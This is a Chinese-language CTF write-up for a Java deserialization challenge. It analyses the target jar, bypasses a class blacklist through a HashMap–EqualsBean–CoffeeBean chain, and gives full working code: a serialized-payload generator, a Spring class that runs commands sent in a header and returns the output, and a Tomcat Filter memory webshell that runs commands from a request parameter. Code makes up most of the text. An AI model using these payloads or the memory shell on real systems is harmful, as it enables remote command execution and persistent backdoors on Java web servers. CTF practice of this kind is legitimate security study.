目录
前言
环境准备
简单分析
EXP(两种打法)
生成Payload
恶意类
①Spring命令执行回显类
②Filter型内存马
前言
本地jar包运行打通了，远程500，nss靶机有问题，换了bugku就可(
主要记录下做题过程，纯菜狗，小白文
环境准备
这次附件给的jar包是可执行jar，不是可依赖jar，不能直接add as lib导入项目
需要进行如下的处理
先是对jar包进行解压
用jadx-gui打开
简单分析
先来看pom
比较刺眼的是Rome依赖，还有spring可能会用于写内存马
接着注意到/b4by/coffee路由，此处便是反序列化入口
AntObjectInputStream是自定义的对象输入流类，写了一些关键类的黑名单
可以看到ban了ObjectBean，ToStringBean这些Rome链的sink点，TemplatesImpl这种实例化关键类，以及BadAttributeValueExpException这条CC5里触发ToString方法的类
好在EqualsBean还是在的，依然可以配合HashMap来触发ToString
此外AntObjectInputStream还重写了resolveClass，就是配合黑名单用的
现在问题是加载恶意类的ToStringBean&TemplatesImpl被ban了，空留toString何用？
“当上帝为你关闭了一扇门,就一定会为你打开一扇窗。”
我们看到coffeeBean类重写了toString方法，存在着能加载字节码的后门defineClass(用于将字节数组表示的类定义转换为 Class 对象)，并对其进行实例化。
那这不就易如反掌易如反掌了吗(
手搓链子(不会tabby，锐意学习中)
java.util.HashMap#readObject
java.util.HashMap#hash
com.rometools.rome.feed.impl.EqualsBean#hashCode
com.rometools.rome.feed.impl.EqualsBean#beanHashCode
com.example.b4bycoffee.model.CoffeeBean#toStringEXP(两种打法)
记得pom里再导一个javassist依赖
<dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.29.2-GA</version></dependency>生成Payload
GenPayload.java
package com.example.b4bycoffee.exp;import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;
import javassist.ClassPool;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;public class GenPayload {public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}public static String getPayLoad() throws Exception {byte[] code = ClassPool.getDefault().get(你的恶意类.class.getName()).toBytecode();CoffeeBean coffeeBean = new CoffeeBean();setFieldValue(coffeeBean, "ClassByte", code);EqualsBean equalsBean = new EqualsBean(String.class, "test");HashMap map = new HashMap();map.put(equalsBean, "xxx");setFieldValue(equalsBean, "obj", coffeeBean);setFieldValue(equalsBean, "beanClass", CoffeeBean.class);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(map);oos.close();String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));System.out.println(payload);return payload;}public static void main(String[] args) throws Exception {getPayLoad();}
}恶意类
①Spring命令执行回显类
SpringEcho.java
不出网没法反弹shell，内存马也没写起来，我怎么不去死一死QWQ
命令执行用下面SpringEcho类来回显
(参考链接：java回显学习 | 现科信息安全协会)
package com.example.b4bycoffee.exp;import java.lang.reflect.Method;
import java.util.Scanner;public class SpringEcho {static {try {Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");Method m = c.getMethod("getRequestAttributes");Object o = m.invoke(null);c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");m = c.getMethod("getResponse");Method m1 = c.getMethod("getRequest");Object resp = m.invoke(o);Object req = m1.invoke(o); // HttpServletRequestMethod getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);getHeader.setAccessible(true);getWriter.setAccessible(true);Object writer = getWriter.invoke(resp);String cmd = (String)getHeader.invoke(req, "cmd");String[] commands = new String[3];if (System.getProperty("os.name").toUpperCase().contains("WIN")) {commands[0] = "cmd";commands[1] = "/c";} else {commands[0] = "/bin/sh";commands[1] = "-c";}commands[2] = cmd;writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());writer.getClass().getDeclaredMethod("flush").invoke(writer);writer.getClass().getDeclaredMethod("close").invoke(writer);} catch (Exception e) {}}
}header注入cmd即可
②Filter型内存马
package com.example.b4bycoffee.exp;import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.springframework.context.ApplicationContext;import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;public class TomcatInject implements Filter {private static final String filterUrlPattern = "/*";private static final String filterName = "Z3r4y";static {try {ServletContext servletContext = getServletContext();if (servletContext != null) {Field ctx = servletContext.getClass().getDeclaredField("context");ctx.setAccessible(true);ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);Field stdctx = appctx.getClass().getDeclaredField("context");stdctx.setAccessible(true);StandardContext standardContext = (StandardContext) stdctx.get(appctx);if (standardContext != null) {// 这样设置不会抛出报错Field stateField =org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");stateField.setAccessible(true);stateField.set(standardContext, LifecycleState.STARTING_PREP);Filter myFilter = new TomcatInject();// 调用 doFilter 来动态添加我们的 Filter// 这里也可以利用反射来添加我们的 Filterjavax.servlet.FilterRegistration.Dynamic filterRegistration =servletContext.addFilter(filterName, myFilter);// 进行一些简单的设置filterRegistration.setInitParameter("encoding", "utf-8");filterRegistration.setAsyncSupported(false);// 设置基本的 url patternfilterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),false,new String[] {"/*"});// 将服务重新修改回来，不然的话服务会无法正常进行if (stateField != null) {stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);}// 在设置之后我们需要 调用 filterstartif (standardContext != null) {// 设置filter之后调用 filterstart 来启动我们的 filterMethod filterStartMethod =StandardContext.class.getDeclaredMethod("filterStart");filterStartMethod.setAccessible(true);filterStartMethod.invoke(standardContext, null);/** 将我们的 filtermap 插入到最前面 */Class ccc = null;try {ccc =Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");} catch (Throwable t) {}if (ccc == null) {try {ccc = Class.forName("org.apache.catalina.deploy.FilterMap");} catch (Throwable t) {}}// 把filter插到第一位Method m =Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("findFilterMaps");Object[] filterMaps = (Object[]) m.invoke(standardContext);Object[] tmpFilterMaps = new Object[filterMaps.length];int index = 1;for (int i = 0; i < filterMaps.length; i++) {Object o = filterMaps[i];m = ccc.getMethod("getFilterName");String name = (String) m.invoke(o);if (name.equalsIgnoreCase(filterName)) {tmpFilterMaps[0] = o;} else {tmpFilterMaps[index++] = filterMaps[i];}}for (int i = 0; i < filterMaps.length; i++) {filterMaps[i] = tmpFilterMaps[i];}}}}} catch (Exception e) {e.printStackTrace();}}// webshell命令参数名private final String cmdParamName = "cmd";private static ServletContext getServletContext()throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {ServletRequest servletRequest = null;// shell注入，前提需要能拿到request、response等Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");f.setAccessible(true);ThreadLocal threadLocal = (ThreadLocal) f.get(null);// 不为空则意味着第一次反序列化的准备工作已成功if (threadLocal != null && threadLocal.get() != null) {servletRequest = (ServletRequest) threadLocal.get();}// 如果不能去到request，则换一种方式尝试获取// spring获取法1if (servletRequest == null) {try {c =Class.forName("org.springframework.web.context.request.RequestContextHolder");Method m = c.getMethod("getRequestAttributes");Object o = m.invoke(null);c =Class.forName("org.springframework.web.context.request.ServletRequestAttributes");m = c.getMethod("getRequest");servletRequest = (ServletRequest) m.invoke(o);} catch (Throwable t) {}}if (servletRequest != null) return servletRequest.getServletContext();// spring获取法2try {c = Class.forName("org.springframework.web.context.ContextLoader");Method m = c.getMethod("getCurrentWebApplicationContext");Object o = m.invoke(null);c = Class.forName("org.springframework.web.context.WebApplicationContext");m = c.getMethod("getServletContext");ServletContext servletContext = (ServletContext) m.invoke(o);return servletContext;} catch (Throwable t) {}return null;}@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest,ServletResponse servletResponse,FilterChain filterChain)throws IOException, ServletException {System.out.println("TomcatShellInject doFilter.....................................................................");String cmd;if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {Process process = Runtime.getRuntime().exec(cmd);java.io.BufferedReader bufferedReader =new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());servletResponse.getOutputStream().flush();servletResponse.getOutputStream().close();return;}filterChain.doFilter(servletRequest, servletResponse);}@Overridepublic void destroy() {}
}
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